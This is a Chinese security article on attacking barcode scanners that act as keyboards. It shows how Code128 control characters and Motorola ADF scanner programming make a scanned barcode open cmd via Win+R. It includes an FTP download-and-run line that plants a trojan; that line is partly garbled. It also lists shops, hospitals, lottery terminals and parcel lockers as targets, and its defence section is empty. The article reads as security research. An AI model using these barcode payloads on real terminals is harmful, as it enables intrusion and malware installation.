一维条形码攻击技术(Badbarcode)K1two2

条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。

常见的条形码类型有code39code128code93EAN128EAN13QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类型,一般都利用code128条形码进行攻击。

0x02扫码器介绍

扫码器,大家几乎每天都能看到,在超市付账,物流,医院,彩票等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。

大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

0x03Code128条形码

既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128是一种广泛使用的条形码类型,因为它支持ASCII0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。

Code128也分为三种:

Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214用1,0转成逻辑码就是11010010000,也即是起始码。

起始码对照:

结束码都是统一的1100011101011

根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)

0x04控制字符与条形码生成

根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127就是控制字符。

根据ASCII的控制字符表,可以看出Ctrl+的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

扫码器扫描后立即弹出对话框

市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。

0x05AdvancedDataFormatting(高级数据格式)

AdvancedDataFormatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。

例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345纯数字,想要在这个结账系统中识别就要在输入前进行处理。

再举个例子:

条形码的数据:8523647122

通过ADF输出的数据:8523641

如何实现ADF?

现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。

ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。

利用ADF挟持扫描器数据

对扫描器进行ADF设置时要先扫描开始模式,BeginNewRule

此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。

随后依次扫描下列条形码

然后SaveRule

当SaveRule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。

如何恢复?

扫描清除所有规则条形码即可。

0x06利用ADF执行命令,种植木马

由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。

在ADF中称为GUIR,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUIR,再执行"c","m","d",win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的sleep()。

在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。

知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:

视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器软件123scan。

123scan是摩托罗拉官方出品非常强大的扫描器管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。

打开后点击"Createnewconfigurationfile"->"MyscannerisNOTconnected"->选择扫描器->"Mondifydata"->"Programcomplexdatamodifications"->"Createanewrule"。

点击Addaction就是添加规则。

ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

设置延时0.5秒,依次添加规则。

最后会自动合并条形码并输出。

以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中SendALLthatremains是代表设置ADF后扫描条形码的原本数据。以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容,而随后的SendALLthatremains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加SendALLthatremains。

利用ADF种植木马

既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的SendALLthatremains可以用BarTender生成出FTP命令。

#!bashftptestCRaCRaCRgetw.exeCRbyeCRw.exeCRgetw.exeCRbyeCRw.exeCR下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到SendALLthatremains。视频中是利用FTP命令执行。

(测试型号Symbol-LS4208-SR20001ZZR)

密码:wooyun520

0x07攻击场景

简单总结一下可能存在攻击的场景地点:

1.商店付款

2.医院病历,检验单

现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

3.彩票

彩票自身都会有条形码,兑换彩票就凭靠条形码到机器识别,所以伪造或对检验机进行攻击还是有可能,彩票终端类型这么多。

4.快递单子

快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。

场景很多就不一一列举了,以上场景有空我会逐一分析。

0x08防范方法

0x09总结

一维条形码攻击的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等攻击。

THE END
1.顺丰新业务:可找快递小哥买彩票今天上午,有网友向快哥爆料,他收到顺丰的短信,提示可以找小哥购买彩票。 截图显示,顺丰官方短信平台提示用户,即日起可找顺丰小哥购买“丰彩”即开型体育彩票,最高奖金100万,但仅限深圳福田、龙华区域。 早在今年4月,顺丰控股就发布公告,顺丰彩纸质即开型彩票已获得财政部批准。 https://tech.huanqiu.com/article/9CaKrnK3jL8
2.顺丰新业务:可找快递小哥买彩票顺丰新业务:可找快递小哥买彩票 今天上午,有网友向快哥爆料,他收到顺丰的短信,提示可以找小哥购买彩票。 截图显示,顺丰官方短信平台提示用户,即日起可找顺丰小哥购买“丰彩”即开型体育彩票,最高奖金100万,但仅限深圳福田、龙华区域。 需要说明的是,这确实不是一条虚假信息。https://news.mydrivers.com/1/535/535590.htm
3.你好,我买的彩票快递送给别人违法吗你好,以下行为属于违法行为:在网络上销售侵犯注册商标专用权商品;违反企业登记管理相关规定,伪造或冒用https://www.findlaw.cn/wenda/q_17380881.html
4.彩票知识大全经营快递站点,彩票站和快递公司合作,做成快递代取站点,挣一点快递运营费,同时也可以带来人流量,拿快递的人也可以购买彩票,提高彩票店销售额。 经营综合娱乐场所,彩票站可以安装一些街机游戏机、儿童摇摇车,让大人买彩票小孩也有自己玩的,不仅增加彩票销售,这些娱乐设施的收入也相当可观。 https://www.360doc.cn/article/1085315586_1085315586.html
5.快递金条“买”彩票赚钱男子轻信险被骗35万快递金条“买”彩票赚钱 男子轻信险被骗35万,于2024年06月08日上线,由浙江警视上传。西瓜视频为您提供高清视频,画面清晰、播放流畅,看丰富、高质量视频就上西瓜视频。https://www.ixigua.com/7378108196612735528
6.www.scmc彩票平台快3 中国免费AV 阿sa张开腿实干13分钟 70.39MB 54好评 亚洲综合色潮吹 骚逼需要男人操啊啊啊视频 碧蓝航线18?AV黄漫网站 36.43MB 7387好评 嗯灬啊灬视频无码网站免费 天堂视频在免费视频看看 老年人日逼黄色网站 35.20MB 28好评 电影一区久久 济宁熟女买淫 男生女生一起相差差差http://www.scmc-xa.com/xxxr/20241126/20412020.html
7.#夫妻俩不买彩票却频繁收到彩票快递##市民来自长沙政法频道#夫妻俩不买彩票却频繁收到彩票快递##市民莫名被注册成彩票点老板#【夫妻俩不买彩票却频繁收到彩票,还被注册成两家彩票网点老板】近日,南京市民庄先生反映称,近两年他和爱人经常收到体彩中心的快递,他们以为对方寄错,之前每次都退回。最近他们收下一次包裹,发现是上百张体育彩票,一查自己名下竟有两个彩票网点。https://weibo.com/3395129520/Nv8awcmnH
8.褥递顺便买张彩票无锡女彩民喜提汽车大奖1月3日,无锡福彩12月“双色球3D”第二辆汽车进行抽奖,在江南公证处的公证下,汽车大奖花落金科中心财富广场6-7号32025305福彩投注站,中奖彩票是一张期号为2019150期,流水号为15的双色球彩票。1月8日上午,福彩工作人员来到该站点为中奖彩民办理了兑奖手续,送上了汽车大奖。 https://m.17500.cn/content/index/id/1002162/f/0.html
9.丰巢智能柜也能买彩票了?这么操作最简单!操作简单,朴实无华,随时随地都可以买彩票,现在在丰巢智能柜上就可以实现了。还没有使用这个功能的小伙伴可以赶紧去楼下丰巢智能柜试用一下。对了,还有一个丰巢智能柜寄快递的小技巧,关注丰巢的公众号,还可以领取一些寄快递的优惠券,寄件价格比上门取件划算很多,有经常寄快递的小伙伴也可以试一下丰巢智能柜寄件,https://www.meipian.cn/3aj3xp2m
10.快递小哥送快递路上买8元彩票,中奖1688万,担心暴露不敢辞职俗话说:祸兮福所倚,福兮祸所伏。有时候中了奖也不一定是好事,担惊受怕,提心吊胆。比如重庆南岸就有一位快递小哥,在送快递路上买了8元福彩彩票,结果居然中了1688万大奖。这本来是件好事,但是这突然天降的财富他却害怕了,因为担心暴露,吓得精神紧张,不敢辞职。 https://3g.163.com/dy/article/H6MLV3FM0552A0T3.html
11.关于买彩票幸运中了大奖的朋友圈说说通用六十条公开课小编为此仔细地整理了以下内容《关于买彩票幸运中了大奖的朋友圈说说》,仅供参考,希望能为您提供https://bbs.openke.cn/thread-434628-1-1.html
12.丰巢快递柜能买彩票啦!每天2000注双色球免费送!彩民朋友们注意了!在武汉看到有下面装扮的丰巢柜,点击丰巢柜屏幕,就能买彩票啦! 目前,丰巢快递柜买彩票功能已经上线,在丰巢快递柜购买的双色球、3D、七乐彩彩票长这样↓↓↓ 丰巢柜不但能买彩票,现在还有活动: 扫描丰巢柜福彩标识牌或下方的二维码,关注公众号,每天2000注双色球注册免费送! https://www.cwl.gov.cn/c/2019-12-24/461687.shtml
13.www.zhongkewantong.com/xxxr22139401孙茜原来综艺可以这么健康 南都记者注意到,7月23日,总统室和政府原定于当天在三清洞总理公馆召开高层党政协议会,讨论包括相关方案在内的根本防灾对策,但以应对暴雨为由推迟了党政协商。_——。 但理想与现实有着巨大的反差。数据显示,截至2021年12月31日,恒大汽车总资产为595.21亿元,总负债为588.3亿元,资产负债率http://www.zhongkewantong.com/xxxr22139401
14.www.lapierrebikes.com.cn/xxxr79745849/778383彩票3888cpcom官网入口 黄色网站看片看逼看逼看逼看逼逼摸屁股什么屁股 肉丝熟女足交性爱 国产?刺激?高潮?免费 欧美性爱xxxx黑人ⅩXX 季玥极品美軳人体GoGo 狠狠综合久久88亚洲喷潮 国产一级婬片S片SSS毛片S级 国产插女生汇编 男人的鸡插入女人的屁股图片 亚洲AV午夜一级片啪啪 亚洲欧美suv精品8888http://www.lapierrebikes.com.cn/xxxr79745849/778383
15.[直播贵阳]城市快递:电焊工买彩票花光积蓄财迷心窍切割ATM机新闻 [直播贵阳]城市快递:电焊工买彩票花光积蓄 财迷心窍切割ATM机简介新闻栏目推荐 首页|全站地图 中央广播电视总台央视网版权所有 https://news.cctv.com/2016/02/14/VIDE5ORE5KVmD9ifegNv5jYw160214.shtml
16.不思议迷宫新年活动2024怎么玩不思议迷宫新年活动2024攻略寺庙收货供品150红包,各限一次,可以在1体图完成。 快递员出战:链接二郎神+国王。帮送一次快递,获得50红包,3体图限定。 7.红包收益计算: (1)次活动迷宫的结算红包收益由年货决定。 年货值>180时,获得25红包 年货值>120时,获得20红包 年货值>60时,获得15红包 https://www.9game.cn/slmbsydmg/9709950.html
17.www.sut一进一粗操逼大片 8天前 大发彩票旧版本软件说明 日韩欧美汗尾交在线 3天前 已经满岁了请带好卫生纸 日韩激情免费网站 8天前 欧美老年人wWww性爱狂魔 这是一个提供黄色视频的网站 0天前 学生性色XXⅩXX黃片s欲 这里都是精品久久 7天前 国产在线黄色影院免费看 手机看片二区 4天前 2024黄色网站免费http://www.sut-cn.com/fancai36688375
18.平台官方官网37,福彩买料卖料网,pc28预测在线预测神测网 38,澳门是国外嘛,老葡京网游戏 39,天津凯发电气裁员最新消息,大满贯安卓下载手机版 40,腾讯分分彩APP下载,林高远特质金标 41,开心棋牌官网版,卡丁娱乐棋牌 42,正规5分赛车平台,99彩票娱乐平台线路 43,ag包子视频,新旺角棋牌 http://m.2f4feh7.cn/blog/12090040280362.html
19.官网安卓苹果平台入口没岁扰有。由于ps3真三国无双7wiith猛将伍扮传的官方并未将dlc移植到ps3,因此ps3真三国无双7wiith猛将传没有dlc。《真三国无双7》腔雀灶是由日本KOEITECMO公司开发的一款动作角色扮演类游戏。 来源:中国新闻网 ps3真三国无双7wiith猛将传有dlc吗 http://wap.middleware.website/550542.html
20.彩票这个太真实了开端快递篇64好心人彩票中几十万就可以了,大奖中了就换一个空号安排面具演员领奖的 2022-01回复32 想听_Idylly 为什么彩票会变 2022-01回复25 吧你崽了 回复 @听友290512387: 彩票本来就有内幕,每期都有一个半小时的时间计算那组号码买的人最少买的最少的号码就是一等奖 2024-01回复赞 心之读者 回复 @想听_Idylly: 如果你https://www.ximalaya.com/sound/492613371/436706376
21.顺丰彩票怎么买哪些城市有销售顺丰彩票兑奖方式介绍顺丰快递今天开始正式开售体育彩票,那么顺丰彩票中奖概率是多少呢?中奖概率大吗?怎么兑奖呢?一起来看看。 今天起经过国家体育总局准许发售的即开型体育彩票“丰彩”在广东深圳、江苏南京、湖南长沙、江西南昌四个城市同步开售,用户可以直接找到快递小哥或者营业网点购买彩票。http://m.mnw.cn/keji/mi/1768135.html
22.欧洲杯彩票怎么买?足球哪个app可以买欧洲杯?9分钟前欧洲杯体彩怎么买推荐APP,现在下载,新用户还送新人礼包!下载网址:(hbzchjjc.com)系统类型:欧洲杯体彩怎么买最新推荐支持:64/128bit最新版本IOS/安卓通用版v9.6.8(安全平台)出境游搜索量大涨,这些地方是热门消息发布后,旅行平台上的出境游http://www.hbzchjjc.com/